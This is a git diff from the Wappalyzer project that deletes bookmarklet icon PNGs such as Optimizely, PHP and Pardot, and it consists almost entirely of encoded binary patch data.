zcmV;30eAk1P)hX22p$$cKc+k<0W+HeDaDIkk6330l7;}n zjRoka*Am7bAR<(SX+Cni%0d{JcX)-R2mrAb5^|e`(az_6M9)iENGTdVp#2B8AW(ri m)El&+RMGh=3ZB(L;y1Z@n2AQAPY{08W2o`0g6zykC6qhLj~1|Fu(_@b}_QxM`-jg6JfwSr~yvM zg3q9W0t7VcLj8XqC5nNZ-B1I3@MsnQ;$u*kVx)m2r~y}jSOkk^Wu$P*#bv`vsDjr( z+zrI3K->((2Z8tp)SIz{0w@fKk3$3XKQ!5byjKgvJT%F<0P_9OhaJyo8~^|S07*qo IM6N<$f=ZHm!~g&Q diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Optimizely.png b/Wappalyzer/drivers/bookmarklet/images/icons/Optimizely.png deleted file mode 100644 index cb21ba05c6c15b52721f4732f1079f0cb87bd323..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 736 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 RKOX=9002ovPDHLkV1i-?`$Yf% diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Outlook Web App.png b/Wappalyzer/drivers/bookmarklet/images/icons/Outlook Web App.png deleted file mode 100644 index 6938a8680ae697834f7d39a282f6fbc8a9f79714..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4258 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 P00000NkvXXu0mjffu;Iy diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PDF.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/PDF.js.png deleted file mode 100644 index 74fa6bbde35f439ee68930cfe90d78179860efcb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1630 zcmV-k2BG3$g6rN5CreF+;&_YX51X@sp1_eREfEW;iAZSPok$^~v#^ncK43dcW2Nh!C4~!T< zj8t%IYLHcyU}vB1oxPpTbfz=iXbZGu*3a+Gn_;Hgv?S#wC-1%U&b{CF&T`+mGFfz# zmshwAMw5-#Q!16}OSMY9L#b5GyVcp1B1;&0y?%6QY3V4PPA8A)#65Ls;+?F|P%0Hq ztJUi5TysCy{?%X-80D_McCyNz zvhwmX!ocnEB2iq8p2)S)+Z2?@wfLQGH)`wZVYXOcGFy0WhtuVThwlgw61ItR6Ggly z$&>vEPey7?N*oj{10LtyXIam50R3 zdm#`5Y9NrfHn+B-qoWgD-8~2d0!SR;a5!Q|3?K92bLLGvU-&ResZi`|YH9V|3%FR& z@ApR*?*)ebBNPfn>^U!}R;fPfm9XMLrBZ&v7~hizgo}qeghv`gSePqJ*o~r+?h+6W z%;b|!R~$$=(%$zLO@guLohXQ9}zi_N>+>O zozDA0APk_ZyE{U_Vzr^Hvho39#;f3pAM!$AlC7x)4V|~)8m2hfZw{Nl%^=V~dxPDH zUiFWevXt;sqtnB=@)qCH90V3+MkND*m3as($wFXpW>h9omy5s)Q5|itbPBL)7O*-8 z_;4BU{!&TaeU`ES_<*{t`3P;vM_}uG_zIo}UdwP{&130Uo1G#Kt@v&H!Esqm;k^~Oy0{lMU!k<7}Gf-Lr{BsKEXag=40j*6y z;bA~=321ZzSInWpa|Qnw1Ej+r`L>Hpq<{VQ3Ew9+GHjP z!PmQifIptT#|}xZA1(p0@P?c?0UblNeIZb9lFxwv-{o;)mN{@*8oC!*j&R!rdh?a~KmFVO9@)n1fB(9r^@Nv8WIQ25Ot1VkBr zx-|@I4Uj1a$bsp+7JeTu!#cB6hJPHBJTWs$RM?6#e3c~B=cSTsumbPQ2MQJeE?cw= zxyHIlq25WzjR?82bj*->{rL~I2gL^S@(cu4OqV3K5iN>tMzM`(Np|EtxLILUp0p8( zO=rhq30R1Dj%-Bp5!gHzeqKXwPP3Ch)7_0Iaa=do?(=lr@sIRY9HKbdI$?EtaYUr^ zKtpsW>{RxOj%B2OMuA{3(u{~7QN78M+UrM@*p%=$`LR3NP>v)4AG;<&z+^Tjgxso{T`6TCG~?XmE`vfmkm<&xUIZ2LGT0L{q{8#$0h28EFsP?&{`w zpgG6`i!B)eIgd|MY;|=bLO{5^oh>?nBh9Ed)bL1lJ}Cj6UO&cUG9z|G8w1{k*5 zYGELtPOCdkz-#aBK$~B}_KmLIiD2jk)paO7bMNxUl81l{_7ZhVE(E$ho zv7oL+^bJSU?m$@61&Z_hCbrawA!isl*N&WLC#Li%fyN$uBhp!J$@S9K0B*N6Qb!GCk2{2>@0r zs<;qr(^u)7zs>7zI~B+Uk0l8aC)K)+gzdylIT#tcKo!446%_)MS!nrsouO$5TX8Yk zWz1EBNRp^P)w#tRpNS@FJ~WYqOJWSB*%rn#c9X_RG>SyAFN z-i+?s4L;#6RI`M#Riz>n7w@1vhSO)9xX0bp^ic-k{I!gvS(*rT& zreeq$Bf8YgGQkLLXIVlcy9x9oY9i2Q2eYTN8rgP*sQgs^pdA$FP%4iA%|I_8@gKZ^ h6F?)733%`q-vMA$pG)P2N<{zw002ovPDHLkV1l(r8z%q& diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Nuke.png b/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Nuke.png deleted file mode 100644 index 9bb91a904528f3d2d97ab3daf2a2e9b241dc53ce..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 746 zcmVD)WWOzXnK3-_G!yyra6dx*~XwztROaJ+`yUX0n< zXPBQa#`5xeD2fa8zt8J+U~=L;MpC_z?(r8G8(sB*5^(>wU?2H%^i$$`Xc$;{bfdhHD1x?Vqr+QpzaiQJ!Lb{W*74 zi>|IO*xz@+|Kk;t+&U()TFp2-e1X2c3M3>XK$0SmolV>_p|_7PK2AtX)WK-H2($S% z78e`ga@~Z}`4K#~4K`am9E2lP_U+HxpxH*FjF_ z8@Sz9P*WqFNK%oRDRavP#Kp;{Vr^{~V711A78V|0V?&3+A_;oEz#t7KlZe8?2&AM) z$jS;C`W2!d! z`2spR1h$kwtE*42>Lhe_5-KXxB0_aFp{Ys0!$&gG(qvdHG8!5Pm6e3@@=#uPH?cDW z@_621ZH-t+Vo`|aB375s+A2d3L~Y)vCCjqoahOp^!sX+xd`{cDspnAPqYn zLhwjLQc~C-q6sJ}3IiapeWZ=Nxv8G%Ap(!bf`fw)!O;<+zCN4-y1$e+U|>+j-d-qg z$suyh*zsf9+DZmM@cRja0}@hGWkg3C5E&^WCPt5p3>i~X2JIq6;ZAqTPVa=zm#&ex z-Gt_50d;jE-d5|`1s(fN*jLnInfIae-&+|7d|(md(bHo<_cvDiEAfjY^!J;1?mN6# c-%k|(0;dQXrwfH`uK)l507*qoM6N<$g7i#KTmS$7 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PHP.png b/Wappalyzer/drivers/bookmarklet/images/icons/PHP.png deleted file mode 100644 index 47525ab1df4636378d44eeaf094eba9ea5b59214..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 822 zcmV-61Ihe}P)gT zqQVfWEUGjq`mHIUW~;lZ^*8k0xyN}w?zkhgxNKw-H3IPQ&MaSw9 z8)6?B&U4b`K*@ZFC~uM`TB#vh$oHg4tt7S1Fb(b&%^OD_A}UnAd@1^uAz8Z!}k#5 z3RIuji|;|kO?Z4=;LFs)zt^+7f@ODU31*dABhXlhbd=R2<<2A3c!nZ)O2(<>Yp9DJ zj}$@^5N0}`xlDI`d`YVgHm`)Hyu*jvdy1*iM7z(SF1?Ed6ySIT>ljCNEl|Q?MXJj$ zw9PWGpJYL2eK_52;wE;3y|m$l=-vOYdIwr-TVqJCk_#$&L3ilXgJb?YQ zE2zSd2LsKX<|ZzHqnVBJD%WKy06xt`Zp8ga^Km6oWeQmLRcs zm>;Pw>t4YZ9MClIBbcMugHPN;542FcbA8db!gNyHFs^{iFCVI%GV%vcbx!f=^7`+= zy4deE4{D>!mKDFKn$@UE;XX`;(^igvqfk6b$?RKP#~mvcpo=3Y(HP1wPFt-q_-fCr zrOlZr>JwX)zbOgy%N9F^>l_RJnF>cZ!corn0X&;t+G9jY9RL6T07*qoM6N<$f=Abf Ay8r+H diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Pagekit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Pagekit.png deleted file mode 100644 index 9c28651c51774f5616d9b373d2cec4c74f33961a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnH3?%tPCZz)@&H$efS0Jq{uK+|n&z|1`a+pej z{DK)A82o!y0C}pOE{-7*my;bDLK7Tx7B@CFW-3Sqqzj}qoVaiyfP>lNQE~zkgU@k~ VxI;3>g@GCvJYD@<);T3K0RX;JAfEsL diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Pardot.png b/Wappalyzer/drivers/bookmarklet/images/icons/Pardot.png deleted file mode 100644 index efd9991af44bbbcf211880d6205e85d064f8477c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1499 zcmV<11tj{3P)6~=$(zBelB0+1kCEAT$G~1>5*G;|qgW&qap2gA9S zciy|-`Obm41|Y##AN$w#VzIe*^Jx99X0v&v8RQ{gh{i~j`bdsp1Rw-T43Ggr00I{z z7oxlF{DeES$&SX9eo_nRnFsb>a}vM+zW(shFU&00f6$D!lMtxnfod?aH`f8OU>G7Z zBLqqjW^@$*LV^UitBeVvoaj&_C_Lc~$QjKw^WH6f&%K{`*RQj0JaX)c$%XupxguO< z!3aGcHH2`GkiY~&xYVuAaX{UwlT=omM3NH)-dUIVjwsw%C^UAu#VvQ=x$ntr*T=th z=WC1E9Tvh{6$ymlfMX=Va&+1$(M|w{OElYF9uP&_MXQ}CB$7jPQFLOtPOdU`glf zRv`euL?1CZ2mf-G#-$q>tp+yMGEOV!;E}TwMWPG0+;ABe&zy%4kPQ>C3Kp7eCf|ry zPiggP;7=zPnQcXSxp7lY+l6Tj1-yP?iDfcY;LviTxftnX>sXbTe5eCCtDs)X`+8#r z0a3}UZ;rr#HFRL}*a+L|8NCvcU`y3H|C+tboNJMXH5O2-WbE15po4)KG?yZueCHVB zqgCD_^3r*ymWSapU;-hAA^Hiy_~xD+?5aT!$i+u4uk)3g#_8pkho`t?*EpWikQorU znQzrJ(E)scWgcWx) zFiQUXkJB7@_ElnIJs~CQW#mOskU9?7 zki>og;2j67$S`A7xQn&|dAo?X7%l+u;>mgFdHlqY|Iqe?#o~W*AaldU?|OXc+!D1c z>$lSY2QtLBZoZt`uNr6S)EwV^>Sda5PWo!fHvl8W#O8IOuy-Fg^s{59mcDG&%8H9; zHy}U)+}V&B&B94}Mp(t!qKkyuk?VFgp0m9VJbmNukH2x`LYs^bAQ=BwB+Q-hYR0E; z+VNonxb6Fg4*c=uxqBlR!AcQkYkn{e#Kfj`Ik&!N>phR{|JeN|>7!=$?8Lr@Zmz(= z>GR9i7BOLKE&w*vb9QeZJ36s-bpNCKZhzj)_%C;GIj{C^if{k`002ovPDHLkV1lIO B%c%eW diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Parse.ly.png b/Wappalyzer/drivers/bookmarklet/images/icons/Parse.ly.png deleted file mode 100644 index c8affd3ec77abe6a7281ece06cd00214d50d2b32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 421 zcmV;W0b2fvP)I3+7@l1#u;B%LG%r3N-?`fib-IBL!%A&kNV z4GoOIAo~DeKvPQ>XWB3|_Glo9GtFH8 z3fPmZ)sbSmBS}UMNs8@2%bxnF$-eY zV|p5j32x0m&y6q(Bfa#KNhIb%^ zH((V5#&g~bb6|&V;|1T3nFo@6K%dM89xxRHou|4jAjrvc0etc<@xo$ZKjU*C&9$Gv ziEbP|fl9a`4G-W^-16Wm20D&8E0Dr6?7=pyR=AHA17et~7LT|Upb{Ynz&eB#w6h1Te?y}1+OHrTz@|S`L&@|C%BF40-RjU%BZG1Dn7^{y)(+6WxA8cddgE6WP zYK_K6f-g;5LnNuDsj)R$sI^o?DlFX<+|mVhmu2srbDWub_m5EA*6`rra59<6eBU{9 zzO$FX>)*jP`X?o;6?=N<-nPAX2^d4 z9W?TK}5*;M)3p4B5Ge|~gvSth5u&QOJX4{~bBKfUA-1W(^ng}@C1 z42`dQ;W7{r2SP+kkjLvi+TX!x;)6>`&KcLrBFZa;99L@L+Eo$i^8TJXQ1WRr4Z~v^ zKSq*2gcDiFfDJazK>n1zu>BaNUyfn1sK!l+Q#Qo$&ARMBS3Gp*K2U+lxuCIR&Afx z>oZk?R4h|>?g_KM0fKt#f(|rjJO1n6N`!9nsM$|%_jl&!-6&cX? ze1S~K8CZkxo&F92mgAV7TbzoW}g)kX=H5qRK>(GU{{9%z}lk^aU>A8GyHBGd;Y@QLmk6bLuZJ#FK)#q{vy`D5RQ z_in4~>uz37Wn}uc(D|-cL0%rMTfBa+iA3Bbpm2Qkg$TZ5M(OGmyQM+YgVK&~Unun_^SA-K0OfPxsHzD7f% z(Sr}S9XmUnZ#yfReYGsL0;0O0*<9sMSPnWQQ>$a)_|{VAi8w|C?H@k9$juddbXvUdkjVdL7(~JuJ)0M7;rs^w{8qx z9$LF+;d{?^Rro!izm!Pu{^_f~M3&&TjKNETYxf9hLuK_9Wm+99nGut*Bmmtm!NEb; jMAJ>)WCEc7cLo0d4}Ve+rzBF{00000NkvXXu0mjfX>99YSPSlYF|&*Qf>v^x%VW-mMSX?tdV&okeBn&uh9kTlaYU9bq35P>l4KsPuH z)r}^Mr!cM~fHlz*Y{C+FAxQnRIsyzQ>p$G{S7EHl(9tka8#LM%j2FPD;R`u+O&*}v z?V$i=5QiA_=~@GpRUyD9g_zS3ASwwklMRp!Kz)_a1ryK@wNR`hz$7fd9bG3x;RIS# z2Y3)BJ%BYh7y7KdqDEx^%MH~3xQX#zc%gCY?c}Nqko+GqJ}A^osS2=_@h4tqXqVp1xR2^SR0U}LBfvJ*MN|dokxZTkeyR(r3NSATPzo1R7f=;| zO9Hrsx@DF7z($hE%i)^F-=I)cfOq;mg-)o3X?PU^Hve}kj!^)wu)!oAJ^;aAAEJa? zdpu2N!eek#fP7eiXL}!Dyaa}T!5Qqr7`W2)IqpcY$gJaek)gFQUI96V_GX=Kz7H6W t^!csJM2K}-Tp@cMWTY|ffrfNH_6sMov|*;_OAG)2002ovPDHLkV1kQ{)_MQ{ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Percussion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Percussion.png deleted file mode 100644 index 3094bce216aa546cbdceefd559ac2487ec79616d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 308 zcmV-40n7f0P)GueH21I|rfnn+{A{lUcArSvZ;4^46R`Jis2F%8yuoQ^xf!F~F`vc_~ zf%GFF{)xo^WE;-d;r8-rX`uWOJT3rZH>jLB5N`x(SP!IofLIwSZb-ljXP^e02}SeT zDIjJ-chYRkfP)!uIutEHkKr%?rxz@Mcr(NsrzZmql7Whw;4t6}ssT6y@$^w5U2sMa zh%KNlafL+hnP))y2eJWkak^l|>0m5|{|Bc=Bm<`534;(UF$7|NLN-7Wh~0rW8z}h; zssLtyC=h!>@EK188|Wn*0R(jNncqO#kCNOO05rgW7^MJ--e5*2M5);T0000h%qBkm{7K5N@1p~JBX$3*`DF_xpL=bE(iW)4cG1{y`1GHs=EpXaiOkIl5 